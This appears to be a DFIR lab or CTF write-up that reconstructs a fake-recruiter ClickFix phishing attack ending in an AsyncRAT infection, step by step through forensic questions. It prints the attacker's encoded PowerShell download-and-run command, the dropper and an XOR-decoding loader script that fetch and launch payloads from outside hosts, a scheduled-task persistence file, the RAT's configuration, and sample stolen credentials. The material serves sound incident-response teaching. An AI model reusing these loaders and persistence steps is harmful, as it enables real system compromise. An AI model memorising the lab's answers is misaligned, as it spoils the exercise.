Abstract

Klaus Weber, a DevOps engineer at TechFlow GmbH, reported suspicious activity on his workstation after interacting with what he believed was a legitimate job recruiter. The security team immediately isolated the system and captured a memory dump along with forensic artifacts. Analyze the evidence to determine the scope of compromise and reconstruct the attacker’s actions.

The provided evidence consists out of KAPE run and a memory image.


Questions

Question 1

Klaus became suspicious after speaking with a job recruiter after noticing suspicious activity on his system. When did the attacker first contact him?

Looking around in Klaus’ home directory, there are several traces of Discord. In the %appdata% folder I find multiple cache files that I parse with ChromeCacheView since it’s an Electron app.

I’m mostly interested in the messages that have been exchanged and find three cached JSON files. They contain the chat messages from a few different channels. By going through it I find the exchange between Klaus and the recruiter. The latest message contains the (phishing) link https://discord-invite.click/devops and going to the earliest message shows the timestamp of the first contact.

2025-11-28 12:29:07

Question 2

The phishing site had a legitimate-looking title to blend in and appear trustworthy to the end user. What was the title of the phishing site's URL?

The user obviously clicked on the malicious link, so traces of the web site can be found in the History file (SQLite3 database) of the Chrome browser. By checking out the urls table I find the URL and associated title.

Discord - Verification Required

Question 3

The victim was tricked into executing a malicious command. What is the decoded command?

Now I don’t have the websites content but just by the wording of the title and common attack vectors, I check for ClickFix artifacts. Users are tricked into copy and pasting PowerShell commands into the Run window (Windows + R).

Anything pasted in there gets recorded in the RunMRU registry key located in the user registry hive at Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU.

powershell -W Hidden -Exec Bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAG4ANgBLAEYAYgBCAHUAWgAnACkACgA=

IEX(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/n6KFbBuZ')

Question 4

The initial payload downloaded a dropper onto the system. What is the full URL from which the dropper was downloaded?

Since the payload is still live and I use a web service to retrieve the contents from pastebin.com. It’s obviously another PowerShell script that download a binary, places it into %temp%\sysupdate.exe and then executes it.

pastebin.com/raw/n6KFbBuZ
$w=New-Object Net.WebClient;
$p="$env:TEMP\sysupdate.exe";
$w.DownloadFile('http://192.168.1.100/payloads/installer.exe',$p);
if(Test-Path $p){Start-Process $p}

http://192.168.1.100/payloads/installer.exe

Question 5

The dropper placed a file on the system. What is the full path of the first file dropped?

That execution was observed by Windows and recorded in a Prefetch file. Parsing that with PECmd prints related directories and files, as well as the execution timestamps.

Just by their name and location they raise suspicion and also parsing $J confirms that svchost.exe was written before updater.ps1.

PS > .\PECmd.exe -f '.\Opportunist\C\Windows\prefetch\SYSUPDATE.EXE-2E4050FE.pf'
PECmd version 1.5.0.0
 
--- SNIP ---
 
Executable name: SYSUPDATE.EXE
Hash: 2E4050FE
File size (bytes): 35,960
Version: Windows 10 or Windows 11
 
Run count: 1
Last run: 2025-11-29 07:17:39
 
Volume information:
 
#0: Name: \VOLUME{01dc5f23005c7c7c-26007ba5} Serial: 26007BA5 Created: 2025-11-26 22:21:24 Directories: 12 File references: 62
 
Directories referenced: 12
 
00: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS
01: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER
02: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER\APPDATA
03: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER\APPDATA\LOCAL
04: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER\APPDATA\LOCAL\TEMP (Keyword True)
05: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER\APPDATA\ROAMING
06: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS
07: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS\APPPATCH
08: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS\GLOBALIZATION
09: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS\GLOBALIZATION\SORTING
10: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS\SYSTEM32
11: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS\SYSTEM32\DRIVERS
 
Files referenced: 49
 
00: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS\SYSTEM32\NTDLL.DLL
01: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER\APPDATA\LOCAL\TEMP\SYSUPDATE.EXE (Executable: True)
--- SNIP ---
45: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER\APPDATA\LOCAL\TEMP\SVCHOST.EXE (Keyword: True)
46: \VOLUME{01dc5f23005c7c7c-26007ba5}\USERS\KLAUS WEBER\APPDATA\ROAMING\UPDATER.PS1
47: \VOLUME{01dc5f23005c7c7c-26007ba5}\$MFT
48: \VOLUME{01dc5f23005c7c7c-26007ba5}\WINDOWS\SYSTEM32\SCHTASKS.EXE

C:\Users\Klaus Weber\AppData\Local\Temp\SvcHost.exe

Question 6

A script was created on the endpoint via the initial dropper, which facilitated the staging and execution of another executable masquerading as a legitimate Windows process. When was this malicious file executed?

Unfortunately the updater.ps1 script was not part of the triage collection and despite its small size also not a resident file within the $MFT. Luckily I also have a memory image available and traces of the script might be in there.

volatility3 has a plugin to scan for referenced files with windows.filescan.FileScan. There are only two hits when I grep for .ps1 and I can dump the file by its virtual address.

$ vol -f mem.vmem windows.filescan.FileScan | grep .ps1
0xc50fa4397130  \Users\Klaus Weber\AppData\Local\Programs\Python\Python314\Lib\venv\scripts\common\Activate.ps1
0xc50fa720dd60  \Users\Klaus Weber\AppData\Roaming\updater.ps1
 
$ vol -f mem.vmem windows.dumpfiles.DumpFiles --virtaddr 0xc50fa720dd60
Volatility 3 Framework 2.28.2
Progress:  100.00               PDB scanning finished                        
Cache   FileObject      FileName        Result
 
DataSectionObject       0xc50fa720dd60  updater.ps1     file.0xc50fa720dd60.0xc50fa41c54e0.DataSectionObject.updater.ps1.dat

The script contents show the next steps of the malware infection. Another encrypted payload is downloaded, xor’d with 0x42, placed into %appdata%\winlogon.exe and then executed.

file.0xc50fa720dd60.0xc50fa41c54e0.DataSectionObject.updater.ps1.dat
# System Configuration Update Module
# Maintains system component integrity
$ErrorActionPreference = 'SilentlyContinue'
try {
    # Configuration endpoints
    $s1 = "http://192.168.1.100/payloads/payload.enc"
    $t1 = Join-Path $env:TEMP "sysdata.tmp"
    $t2 = Join-Path $env:APPDATA "winlogon.exe"
 
    # Retrieve system configuration
    (New-Object Net.WebClient).DownloadFile($s1, $t1)
 
    if (Test-Path $t1) {
        # Load configuration data
        $d1 = [System.IO.File]::ReadAllBytes($t1)
 
        # Process configuration format
        $d2 = New-Object byte[] $d1.Length
        for($x=0; $x -lt $d1.Length; $x++) {
            $d2[$x] = $d1[$x] -bxor 0x42
        }
 
        # Apply system configuration
        [System.IO.File]::WriteAllBytes($t2, $d2)
 
        # Initialize system service
        Start-Process -FilePath $t2 -WindowStyle Hidden
 
        # Cleanup temporary data
        Remove-Item $t1 -Force -ErrorAction SilentlyContinue
    }
} catch {}

As seen before I check out the associated Prefetch file and get the execution timestamp.

PS C:\> .\PECmd.exe -f '.\Opportunist\C\Windows\prefetch\WINLOGON.EXE-6A7FD7F8.pf'
PECmd version 1.5.0.0
 
--- SNIP ---
 
Executable name: WINLOGON.EXE
Hash: 6A7FD7F8
File size (bytes): 33,258
Version: Windows 10 or Windows 11
 
Run count: 1
Last run: 2025-11-29 07:17:40
 
--- SNIP ---

2025-11-29 07:17:40

Question 7

What was the total number of bytes exfiltrated over the network by the first dropped malicious file?

Different kind of metadata gets recorded by the System Resource Utilization Monitor (SRUM) in its database (C:\Windows\System32\sru\SRUDB.dat). This data can be extracted with SrumECmd.

One of the things that gets tracked is the network utilization per binary and searching for svchost shows the total bytes sent and received.

297708

Question 8

The attacker established multiple persistence mechanisms on the system to maintain access. What is value name of the first persistence mechanism established?

When the memory image was taken, the malicious winlogon.exe was still running as PID 3816. For further analysis I dump it via volatility3’s windows.pslist.PsList --dump.

$ vol -f mem.vmem windows.pslist.PsList --dump --pid 3816
Volatility 3 Framework 2.28.2
 
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        File output
 
3816    6564    winlogon.exe    0xc50fa6b70340  12      -       1       True    2025-11-29 07:17:40.000000 UTC  N/A     3816.winlogon.exe.0x100000.dmp
 
$ file 3816.winlogon.exe.0x100000.dmp
3816.winlogon.exe.0x100000.dmp: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections

As it’s a dotnet binary I can just throw it into dotPeek to get the source code back. This shows two different persistence vectors, creating a scheduled task and using the run key if the user is lacking permissions to create a task.

As part of the triage collection KAPE also retrieved the contents of C:\Windows\System32\Tasks and I find a file called SystemUpdate, that fits the overall theme of the intrusion. Since it does call the previously identified updater.ps1 script, I’m confident that this is a persistence mechanism.

C:\Windows\System32\Tasks\SystemUpdate
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2025-11-29T08:17:39</Date>
    <Author>DESKTOP-ABQN1U5\Klaus Weber</Author>
    <URI>\SystemUpdate</URI>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT5M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2025-11-29T08:17:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NoP -NonI -W Hidden -ExecutionPolicy Bypass -File "C:\Users\Klaus Weber\AppData\Roaming\updater.ps1"</Arguments>
    </Exec>
  </Actions>
  <Principals>
    <Principal id="Author">
      <UserId>DESKTOP-ABQN1U5\Klaus Weber</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
</Task>

SystemUpdate

Question 9

What is the value name of the second persistence mechanism that was established?

The source code already hinted towards the other mechanism, therefore I check the user’s registry for suspicious run key entries. One is mimicking a legitimate binary called SecurityHealthSystray.exe but it’s placed in a suspicious directory. Additionally the name does not match the binary.

Realtek HD Audio Universal Service

Question 10

What is the SHA256 hash of the script the attacker used to decrypt the C2 payload?

I already extracted the script from memory in Question 6.

Info

The file contains some slack at the very end that has to be removed before calculating the SHA256 hash.

2d4124a46a7a6a9e9b1bf2d100b5ff98a63ee6e05b21dc1138a637788cf992a0

Question 11

What xor key did the attacker use to decrypt the C2 malware payload?

Visible in the script in Question 6.

0x42

Question 12

What is the attackers C2 IP and port?

As noted the malicious process was still running in the memory image, I scan for network connections (open and closed) with windows.netscan.NetScan. That shows an outbound connection to a rather unusual port.

$ vol -f mem.vmem windows.netscan.NetScan
--- SNIP ---
0xc50fa45298a0	TCPv4	172.16.150.129	50029	172.16.150.130	6606	ESTABLISHED	3816	winlogon.exe	2025-11-29 07:17:43.000000 UTC

172.16.150.130:6606

Question 13

The C2 payload used an external URL to fetch its config. What is the full URL?

Considering I have the source code available, I can just look at the embedded settings. There I do find another pastebin URL. It’s also live and contains the IP and port for the C2 (Question 12).

client.settings
using Client.Algorithm;
using Client.Helper;
using System;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
 
#nullable disable
namespace Client
{
  public static class Settings
  {
    public static string Ports = "null";
    public static string Hosts = "null";
    public static string Version = "0.5.7B";
    public static string Install = "false";
    public static string InstallFolder = "AppData";
    public static string InstallFile = "winlogon.exe";
    public static string Key = "NYAN CAT";
    public static string MTX = "9Y76TvDOYnbMRwKz";
    public static string Certificate = "%Certificate%";
    public static string Serversignature = "%Serversignature%";
    public static X509Certificate2 ServerCertificate;
    public static string Anti = "false";
    public static Aes256 aes256 = new Aes256(Settings.Key);
    public static string Pastebin = "https://pastebin.com/raw/C2pMswe8";
    public static string BDOS = "false";
    public static string Hwid = HwidGen.HWID();
    public static string Delay = "3";
    public static string Group = "Debug";
 
    public static bool InitializeSettings() => true;
 
    private static bool VerifyHash()
    {
      try
      {
        return ((RSACryptoServiceProvider) Settings.ServerCertificate.PublicKey.Key).VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Settings.Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Settings.Serversignature));
      }
      catch (Exception ex)
      {
        return false;
      }
    }
  }
}

https://pastebin.com/raw/C2pMswe8

Question 14

The payload was identified as a possible remote access trojan belonging to a well-known malware family. What is the malware version and the key value?

According to VirusTotal the malware is classified as asyncrat but the desired values are also embedded in the settings.

0.5.7B_NYAN CAT

Question 15

The attacker stole the victim's Docker Hub credentials alongside other critical information. What are the stolen credentials?

User Klaus might have stored their credentials in a regular file. Looking at the folder Documents shows multiple likely choices, like .env or backup.txt.

Most of them are rather small so their are fully contained within the $MFT (resident) and can be extracted via MFTECmd and their entry number. Apparently the user stored the credentials in both files, but backup.txt is the one I’m looking for.

PS > .\MFTECmd.exe -f '.\Opportunist\C\$MFT' --de 104758
MFTECmd version 1.2.2.1
 
--- SNIP ---
    ASCII:   TechFlow Internal Credentials - CONFIDENTIAL
 
VPN Access:
Username: kweber
Password: TechFl0w_VPN!2025
 
GitHub Organization Admin:
Username: klaus.weber@techflow.com
Password: GitHub_Admin#2025
Token: ghp_a8f3j2k9d8s7f6g5h4j3k2l1m0n9
 
AWS Root Account:
Email: admin@techflow.com
Password: AWS_R00t_Acc3ss!2025
MFA Backup Codes: 1234-5678-9012, 3456-7890-1234
 
Jenkins CI/CD:
URL: https://jenkins.techflow.internal
Username: kweber
Password: J3nk1ns_P1p3l1n3!2025
 
Docker Hub:
Username: techflow-devops
Password: D0ck3rHub_2025!
--- SNIP ---

techflow-devops:D0ck3rHub_2025!